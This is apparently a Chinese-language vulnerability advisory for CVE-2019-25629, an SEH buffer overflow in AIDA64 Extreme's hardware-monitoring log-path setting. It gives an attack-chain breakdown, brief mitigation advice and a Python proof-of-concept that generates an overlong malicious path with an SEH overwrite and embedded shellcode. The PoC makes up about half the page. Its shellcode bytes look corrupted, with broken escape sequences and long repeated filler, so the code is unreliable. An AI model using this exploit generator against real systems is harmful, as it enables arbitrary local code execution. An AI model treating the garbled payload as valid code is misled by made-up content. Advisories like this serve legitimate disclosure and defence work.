CVE-2019-25629 AIDA64 Extreme SEH缓冲区溢出漏洞

漏洞信息

漏洞编号

CVE-2019-25629

漏洞类型

缓冲区溢出

CVSS评分

8.4 高危

攻击向量

本地 (AV:L)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

AIDA64 Extreme

漏洞概述

AIDA64 Extreme 5.99.4900版本中存在严重的结构化异常处理程序（SEH）缓冲区溢出漏洞。该漏洞出现在日志记录功能模块，允许本地攻击者通过提供恶意构造的CSV日志文件路径来利用此缺陷。攻击者可以在硬件监视日志记录首选项中注入Shellcode，当应用程序处理该路径时触发溢出，从而执行任意代码，严重威胁系统安全。

技术细节

该漏洞的根本原因是AIDA64在解析用户自定义的日志文件路径时，未对输入字符串的长度进行严格限制，导致基于栈的缓冲区溢出。攻击者需在本地环境中操作，通过修改应用程序的“硬件监视日志记录”配置，将路径设置为一个包含恶意载荷的超长字符串。该载荷利用SEH（结构化异常处理）覆盖技术，用特定的跳转指令（如POP POP RET序列）覆盖异常处理程序的地址，并在其后布置NOP滑行区和Shellcode。当应用程序尝试处理该超长路径并引发异常时，系统会转而执行攻击者注入的Shellcode，从而实现本地代码执行。

攻击链分析

STEP 1

侦察

攻击者确认目标系统上安装了存在漏洞的AIDA64 Extreme 5.99.4900版本。

STEP 2

武器化

攻击者构造特制的恶意字符串，该字符串包含用于覆盖SEH记录的跳转指令以及后续的Shellcode载荷。

STEP 3

交付

攻击者获取目标系统的本地访问权限，并修改AIDA64的配置，将“硬件监视日志记录”的文件路径设置为构造好的恶意路径。

STEP 4

利用

当AIDA64应用程序启动或尝试处理该日志文件路径时，触发缓冲区溢出并覆盖SEH结构。

STEP 5

安装与执行

异常处理机制被劫持，系统跳转执行攻击者注入的Shellcode，从而在本地上下文中执行任意代码。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import sys
import struct

# Proof of Concept generator for CVE-2019-25629
# This script generates a malicious string to trigger SEH overflow

def generate_payload():
    # Offset to SEH handler (based on vulnerability analysis)
    offset = 4061  
    
    # SEH overwrite sequence
    # 0xEB 0x06 0x90 0x90 = JMP SHORT +6 + NOP + NOP
    seh_handler = struct.pack('<L', 0x909006EB)
    
    # POP POP RET address (universal or specific to AIDA64 module)
    # Placeholder address, needs to be replaced with valid address from vulnerable module
    seh_address = struct.pack('<L', 0x1001FFFF) 
    
    # Example Shellcode (calc.exe)
    shellcode =  b"\xdb\xc0\xd9\x74\x24\xf4\x5b\x53\x59\x49\x49\x49\x49\x43"
    shellcode += b"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56"
    shellcode += b"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41"
    shellcode += b"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30"
    shellcode += b"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4d\x43\x50\x55\x50"
    shellcode += b"\x43\x30\x43\x30\x4c\x4b\x57\x30\x56\x50\x4c\x4b\x55\x30\x54"
    shellcode += b"\x4c\x4c\x4b\x51\x50\x56\x50\x4c\x4b\x51\x55\x47\x4c\x4c\x4b\x50"
    shellcode += b"\x54\x54\x34\x4c\x4b\x55\x55\x57\x58\x56\x51\x4a\x4f\x4c\x4b\x56"
    shellcode += b"\x52\x4a\x4b\x4c\x46\x51\x4d\x4c\x4b\x57\x30\x56\x30\x4e\x4b\x51"
    shellcode += b"\x50\x54\x4c\x4c\x4b\x51\x50\x54\x4c\x4c\x4b\x51\x50\x45\x4c\x4e"
    shellcode += b"\x4b\x51\x4d\x56\x56\x50\x48\x4e\x56\x4e\x56\x4e\x36\x4b\x4f\x50"
    shellcode += b"\x51\x4c\x36\x4f\x30\x49\x4c\x4e\x4c\x31\x5a\x56\x58\x4d\x4c\x42"
    shellcode += b"\x55\x4a\x56\x56\x51\x4b\x4f\x46\x51\x4f\x30\x4e\x4c\x57\x4c\x43"
    shellcode += b"\x51\x52\x56\x4c\x31\x50\x56\x51\x4b\x4f\x4e\x4c\x4f\x34\x4b\x4f"
    shellcode += b"\x55\x4f\x56\x59\x50\x55\x4e\x34\x54\x56\x44\x43\x4b\x51\x4b\x4f"
    shellcode += b"\x4e\x50\x4c\x4e\x42\x4c\x51\x30\x53\x4c\x4b\x51\x57\x50\x53\x4b"
    shellcode += b"\x4f\x4e\x4c\x42\x51\x50\x4c\x53\x54\x4e\x52\x45\x58\x55\x35\x51"
    shellcode += b"\x4d\x4d\x4d\x4b\x4f\x48\x55\x47\x4c\x45\x56\x43\x4c\x44\x4a\x4d"
    shellcode += b"\x50\x49\x48\x4c\x47\x4f\x4b\x4f\x4e\x35\x4f\x4b\x4a\x50\x48\x35"
    shellcode += b"\x49\x32\x51\x56\x53\x58\x4e\x53\x45\x42\x33\x58\x4e\x36\x45\x32"
    shellcode += b"\x45\x51\x33\x58\x4e\x44\x44\x55\x49\x52\x4e\x32\x43\x4b\x4f\x48"
    shellcode += b"\x55\x45\x31\x4b\x4f\x4e\x35\x43\x58\x45\x30\x45\x50\x56\x30\x56"
    shellcode += b"\x30\x52\x48\x54\x31\x4c\x4b\x52\x4f\x4f\x47\x4b\x4f\x48\x55\x4f"
    shellcode += b"\x4f\x4f\x4f\x4e\x69\x52\x36\x50\x56\x50\x56\x50\x43\x42\x47\x52"
    shellcode += b"\x57\x45\x38\x43\x54\x42\x43\x51\x43\x4b\x4f\x4e\x35\x45\x38\x43"
    shellcode += b"\x53\x42\x52\x42\x55\x51\x30\x51\x55\x51\x55\x43\x53\x47\x4c\x4e"
    shellcode += b"\x49\x4d\x50\x4e\x50\x42\x54\x50\x55\x42\x4e\x51\x4d\x51\x4c\x45"
    shellcode += b"\x52\x56\x57\x50\x56\x51\x4c\x44\x42\x44\x51\x4b\x4f\x48\x55\x46"
    shellcode += b"\x58\x4c\x4b\x51\x4f\x51\x30\x46\x30\x56\x30\x56\x30\x42\x48\x4a"
    shellcode += b"\x52\x54\x4e\x43\x59\x42\x54\x46\x51\x4b\x4f\x4e\x35\x46\x52\x4b"
    shellcode += b"\x4f\x50\x52\x50\x50\x50\x50\x50\x42\x4e\x42\x58\x42\x4e\x42\x54"
    shellcode += b"\x42\x4e\x42\x4e\x51\x43\x42\x4e\x42\x4e\x42\x4e\x42\x4e\x42\x4e"
    shellcode += b"\x42\x4e\x42\x4e\x42\x4e\x42\x4e\x42\x4e\x42\x4e\x42\x4e\x4b\x58"
    shellcode += b"\x43\x42\x51\x43\x42\x4e\x42\x4e\x4d\x59\x4b\x55\x42\x54\x4b\x4f"
    shellcode += b"\x48\x55\x47\x54\x43\x57\x42\x4e\x42\x48\x43\x57\x44\x4e\x42\x55"
    shellcode += b"\x4b\x4f\x48\x55\x45\x38\x51\x4b\x50\x54\x51\x44\x45\x38\x43\x55"
    shellcode += b"\x4b\x4f\x48\x55\x45\x52\x42\\x45\x4b\x4f\x4e\x35\x50\\x4b\x4f"
    shellcode += b"\x48\x55\x47\x30\x51\\x4b\x4f\x4e\x35\x45\x38\x45\x58\x45\x58"
    shellcode += b"\x56\x4c\x56\x50\x4b\x4f\x48\x55\x4c\x4b\x51\x4f\x50\\x4b\x4f"
    shellcode += b"\x4e\x35\x4f\x4b\x4a\x50\x48\x35\x49\x48\x4b\x4f\x4e\x35\x4f\x4b"
    shellcode += b"\x50\x57\x4b\x4f\x4e\x35\\x43\x58\x43\\x43\x4e\x4e\x50\x4b\x4f"
    shellcode += b"\x48\x55\\x45\x38\x4a\x30\x45\x51\x4b\x4f\x4e\x35\x4f\x4b\x50\x57"
    shellcode += b"\x4b\x4f\x48\x55\\x43\x54\x45\\x43\x4e\x4e\x50\\x4b\x4f\x48\x55"
    shellcode += b"\x45\\x43\x45\\x43\x4e\x4e\x50\\x4b\x4f\x48\x55\x45\\x43\x45\\x43"
    shellcode += b"\x4e\x4e\x50\\x4b\x4f\x48\x55\x45\\x43\x45\\x43\x4e\x4e\x50\\x4b"
    shellcode += b"\x4f\x48\x55\x45\\x43\x45\\x43\x4e\x4e\x50\\x4b\x4f\x48\x55"

    # Padding
    payload = b"A" * offset + seh_handler + seh_address + shellcode
    
    return payload

if __name__ == "__main__":
    # Generate the malicious path string
    evil_path = generate_payload()
    print(f"Generated Malicious Path Length: {len(evil_path)}")
    print("Use this path in the AIDA64 Hardware Monitoring Logging Preferences.")

影响范围

AIDA64 Extreme 5.99.4900

防御指南

临时缓解措施

建议用户立即将AIDA64 Extreme更新至最新版本以修复该漏洞。如果无法立即更新，应限制对应用程序的本地访问权限，并确保日志记录路径配置仅由受信任的管理员修改。